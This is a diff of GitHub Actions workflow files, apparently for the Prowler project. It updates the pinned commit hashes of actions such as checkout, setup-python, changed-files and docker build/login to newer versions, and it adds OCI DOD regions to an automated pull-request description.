b/.github/workflows/mcp-container-checks.yml @@ -28,14 +28,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check if Dockerfile changed id: dockerfile-changed - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: mcp_server/Dockerfile @@ -65,14 +65,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for MCP changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: mcp_server/** files_ignore: | @@ -85,7 +85,7 @@ jobs: - name: Build MCP container for ${{ matrix.arch }} if: steps.check-changes.outputs.any_changed == 'true' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.MCP_WORKING_DIR }} push: false diff --git a/.github/workflows/mcp-pypi-release.yml b/.github/workflows/mcp-pypi-release.yml index 31c22114ec..04fec33a67 100644 --- a/.github/workflows/mcp-pypi-release.yml +++ b/.github/workflows/mcp-pypi-release.yml @@ -60,7 +60,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -70,7 +70,7 @@ jobs: enable-cache: false - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} diff --git a/.github/workflows/pr-check-changelog.yml b/.github/workflows/pr-check-changelog.yml index e70bbcd713..45027ad494 100644 --- a/.github/workflows/pr-check-changelog.yml +++ b/.github/workflows/pr-check-changelog.yml @@ -29,7 +29,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 # zizmor: ignore[artipacked] @@ -37,7 +37,7 @@ jobs: - name: Get changed files id: changed-files - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | api/** diff --git a/.github/workflows/pr-conflict-checker.yml b/.github/workflows/pr-conflict-checker.yml index 37dc5cc462..068ebd286d 100644 --- a/.github/workflows/pr-conflict-checker.yml +++ b/.github/workflows/pr-conflict-checker.yml @@ -26,7 +26,7 @@ jobs: steps: - name: Checkout PR head - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: ${{ github.event.pull_request.head.sha }} fetch-depth: 0 @@ -34,7 +34,7 @@ jobs: - name: Get changed files id: changed-files - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: '**' diff --git a/.github/workflows/prepare-release.yml b/.github/workflows/prepare-release.yml index be2b624baf..e1d658b7be 100644 --- a/.github/workflows/prepare-release.yml +++ b/.github/workflows/prepare-release.yml @@ -27,14 +27,14 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} persist-credentials: false - name: Set up Python - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: '3.12' @@ -345,7 +345,7 @@ jobs: - name: Create PR for API dependency update if: ${{ env.PATCH_VERSION == '0' }} - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} commit-message: 'chore(api): update prowler dependency to ${{ env.BRANCH_NAME }} for release ${{ env.PROWLER_VERSION }}' diff --git a/.github/workflows/sdk-bump-version.yml b/.github/workflows/sdk-bump-version.yml index 28f4b47ef5..0e4c5e33fc 100644 --- a/.github/workflows/sdk-bump-version.yml +++ b/.github/workflows/sdk-bump-version.yml @@ -67,7 +67,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -96,7 +96,7 @@ jobs: git --no-pager diff - name: Create PR for next minor version to master - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -115,7 +115,7 @@ jobs: By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license. - name: Checkout version branch - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: v${{ needs.detect-release-type.outputs.major_version }}.${{ needs.detect-release-type.outputs.minor_version }} persist-credentials: false @@ -148,7 +148,7 @@ jobs: git --no-pager diff - name: Create PR for first patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -176,7 +176,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -211,7 +211,7 @@ jobs: git --no-pager diff - name: Create PR for next patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} diff --git a/.github/workflows/sdk-check-duplicate-test-names.yml b/.github/workflows/sdk-check-duplicate-test-names.yml index 1f47c06ea9..9fbe3fd917 100644 --- a/.github/workflows/sdk-check-duplicate-test-names.yml +++ b/.github/workflows/sdk-check-duplicate-test-names.yml @@ -20,7 +20,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/sdk-code-quality.yml b/.github/workflows/sdk-code-quality.yml index f7066682a3..2d785c6094 100644 --- a/.github/workflows/sdk-code-quality.yml +++ b/.github/workflows/sdk-code-quality.yml @@ -31,14 +31,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for SDK changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ./** files_ignore: | @@ -67,7 +67,7 @@ jobs: - name: Set up Python ${{ matrix.python-version }} if: steps.check-changes.outputs.any_changed == 'true' - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ matrix.python-version }} cache: 'poetry' diff --git a/.github/workflows/sdk-codeql.yml b/.github/workflows/sdk-codeql.yml index 138e943879..e35776d9b6 100644 --- a/.github/workflows/sdk-codeql.yml +++ b/.github/workflows/sdk-codeql.yml @@ -49,17 +49,17 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Initialize CodeQL - uses: github/codeql-action/init@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/init@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: languages: ${{ matrix.language }} config-file: ./.github/codeql/sdk-codeql-config.yml - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/analyze@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: category: '/language:${{ matrix.language }}' diff --git a/.github/workflows/sdk-container-build-push.yml b/.github/workflows/sdk-container-build-push.yml index b0c00da53e..8f21b00479 100644 --- a/.github/workflows/sdk-container-build-push.yml +++ b/.github/workflows/sdk-container-build-push.yml @@ -61,12 +61,12 @@ jobs: stable_tag: ${{ steps.get-prowler-version.outputs.stable_tag }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} @@ -117,7 +117,7 @@ jobs: message-ts: ${{ steps.slack-notification.outputs.ts }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -155,18 +155,18 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Login to Public ECR - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: registry: public.ecr.aws username: ${{ secrets.PUBLIC_ECR_AWS_ACCESS_KEY_ID }} @@ -180,7 +180,7 @@ jobs: - name: Build and push SDK container for ${{ matrix.arch }} id: container-push if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: . file: ${{ env.DOCKERFILE_PATH }} @@ -199,13 +199,13 @@ jobs: steps: - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Login to Public ECR - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: registry: public.ecr.aws username: ${{ secrets.PUBLIC_ECR_AWS_ACCESS_KEY_ID }} @@ -266,7 +266,7 @@ jobs: timeout-minutes: 5 steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/sdk-container-checks.yml b/.github/workflows/sdk-container-checks.yml index bbcc93c1b8..3200ff89c5 100644 --- a/.github/workflows/sdk-container-checks.yml +++ b/.github/workflows/sdk-container-checks.yml @@ -27,14 +27,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check if Dockerfile changed id: dockerfile-changed - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: Dockerfile @@ -65,14 +65,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for SDK changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ./** files_ignore: | @@ -101,7 +101,7 @@ jobs: - name: Build SDK container for ${{ matrix.arch }} if: steps.check-changes.outputs.any_changed == 'true' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: . push: false diff --git a/.github/workflows/sdk-pypi-release.yml b/.github/workflows/sdk-pypi-release.yml index 369bf582fb..27196b147a 100644 --- a/.github/workflows/sdk-pypi-release.yml +++ b/.github/workflows/sdk-pypi-release.yml @@ -59,7 +59,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -67,7 +67,7 @@ jobs: run: pipx install poetry==2.1.1 - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} @@ -92,7 +92,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -100,7 +100,7 @@ jobs: run: pipx install poetry==2.1.1 - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} diff --git a/.github/workflows/sdk-refresh-aws-services-regions.yml b/.github/workflows/sdk-refresh-aws-services-regions.yml index 49cf139138..0ad26b0e0f 100644 --- a/.github/workflows/sdk-refresh-aws-services-regions.yml +++ b/.github/workflows/sdk-refresh-aws-services-regions.yml @@ -25,13 +25,13 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: 'master' persist-credentials: false - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} cache: 'pip' @@ -40,7 +40,7 @@ jobs: run: pip install boto3 - name: Configure AWS credentials - uses: aws-actions/configure-aws-credentials@61815dcd50bd041e203e49132bacad1fd04d2708 # v5.1.1 + uses: aws-actions/configure-aws-credentials@8df5847569e6427dd6c4fb1cf565c83acfa8afa7 # v6.0.0 with: aws-region: ${{ env.AWS_REGION }} role-to-assume: ${{ secrets.DEV_IAM_ROLE_ARN }} @@ -51,7 +51,7 @@ jobs: - name: Create pull request id: create-pr - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} author: 'prowler-bot <179230569+prowler-bot@users.noreply.github.com>' diff --git a/.github/workflows/sdk-refresh-oci-regions.yml b/.github/workflows/sdk-refresh-oci-regions.yml index 5686491cb2..c4c2ad1a5a 100644 --- a/.github/workflows/sdk-refresh-oci-regions.yml +++ b/.github/workflows/sdk-refresh-oci-regions.yml @@ -23,13 +23,13 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: 'master' persist-credentials: false - name: Set up Python ${{ env.PYTHON_VERSION }} - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ env.PYTHON_VERSION }} cache: 'pip' @@ -48,7 +48,7 @@ jobs: - name: Create pull request id: create-pr - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} author: 'prowler-bot <179230569+prowler-bot@users.noreply.github.com>' @@ -72,12 +72,13 @@ jobs: This PR updates the `OCI_COMMERCIAL_REGIONS` dictionary in `prowler/providers/oraclecloud/config.py` with the latest regions fetched from the OCI Identity API (`list_regions()`). - Government regions (`OCI_GOVERNMENT_REGIONS`) are preserved unchanged + - DOD regions (`OCI_US_DOD_REGIONS`) are preserved unchanged - Region display names are mapped from Oracle's official documentation ### Checklist - [x] This is an automated update from OCI official sources - - [x] Government regions (us-langley-1, us-luke-1) preserved + - [x] Government regions (us-langley-1, us-luke-1) and DOD regions (us-gov-ashburn-1, us-gov-phoenix-1, us-gov-chicago-1) are preserved - [x] No manual review of region data required ### License diff --git a/.github/workflows/sdk-security.yml b/.github/workflows/sdk-security.yml index cabdeb50ac..d9488b0e4c 100644 --- a/.github/workflows/sdk-security.yml +++ b/.github/workflows/sdk-security.yml @@ -24,14 +24,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for SDK changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ./** @@ -62,7 +62,7 @@ jobs: - name: Set up Python 3.12 if: steps.check-changes.outputs.any_changed == 'true' - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: '3.12' cache: 'poetry' diff --git a/.github/workflows/sdk-tests.yml b/.github/workflows/sdk-tests.yml index 7c5f5c7851..6f94022a99 100644 --- a/.github/workflows/sdk-tests.yml +++ b/.github/workflows/sdk-tests.yml @@ -31,14 +31,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for SDK changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ./** files_ignore: | @@ -67,7 +67,7 @@ jobs: - name: Set up Python ${{ matrix.python-version }} if: steps.check-changes.outputs.any_changed == 'true' - uses: actions/setup-python@83679a892e2d95755f2dac6acb0bfd1e9ac5d548 # v6.1.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: ${{ matrix.python-version }} cache: 'poetry' @@ -80,7 +80,7 @@ jobs: - name: Check if AWS files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-aws - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/aws/** @@ -210,7 +210,7 @@ jobs: - name: Check if Azure files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-azure - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/azure/** @@ -234,7 +234,7 @@ jobs: - name: Check if GCP files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-gcp - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/gcp/** @@ -258,7 +258,7 @@ jobs: - name: Check if Kubernetes files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-kubernetes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/kubernetes/** @@ -282,7 +282,7 @@ jobs: - name: Check if GitHub files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-github - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/github/** @@ -306,7 +306,7 @@ jobs: - name: Check if NHN files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-nhn - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/nhn/** @@ -330,7 +330,7 @@ jobs: - name: Check if M365 files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-m365 - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/m365/** @@ -354,7 +354,7 @@ jobs: - name: Check if IaC files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-iac - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/iac/** @@ -378,7 +378,7 @@ jobs: - name: Check if MongoDB Atlas files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-mongodbatlas - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/mongodbatlas/** @@ -402,7 +402,7 @@ jobs: - name: Check if OCI files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-oraclecloud - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/oraclecloud/** @@ -426,7 +426,7 @@ jobs: - name: Check if OpenStack files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-openstack - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/openstack/** @@ -450,7 +450,7 @@ jobs: - name: Check if Google Workspace files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-googleworkspace - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/**/googleworkspace/** @@ -474,7 +474,7 @@ jobs: - name: Check if Lib files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-lib - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/lib/** @@ -498,7 +498,7 @@ jobs: - name: Check if Config files changed if: steps.check-changes.outputs.any_changed == 'true' id: changed-config - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ./prowler/config/** diff --git a/.github/workflows/test-impact-analysis.yml b/.github/workflows/test-impact-analysis.yml index 8fc3224e5f..c8cd8bb651 100644 --- a/.github/workflows/test-impact-analysis.yml +++ b/.github/workflows/test-impact-analysis.yml @@ -48,17 +48,17 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Get changed files id: changed-files - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 - name: Setup Python - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 with: python-version: '3.12' diff --git a/.github/workflows/ui-bump-version.yml b/.github/workflows/ui-bump-version.yml index f91fb5db9b..aaa32b8f0b 100644 --- a/.github/workflows/ui-bump-version.yml +++ b/.github/workflows/ui-bump-version.yml @@ -67,7 +67,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -95,7 +95,7 @@ jobs: git --no-pager diff - name: Create PR for next minor version to master - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ 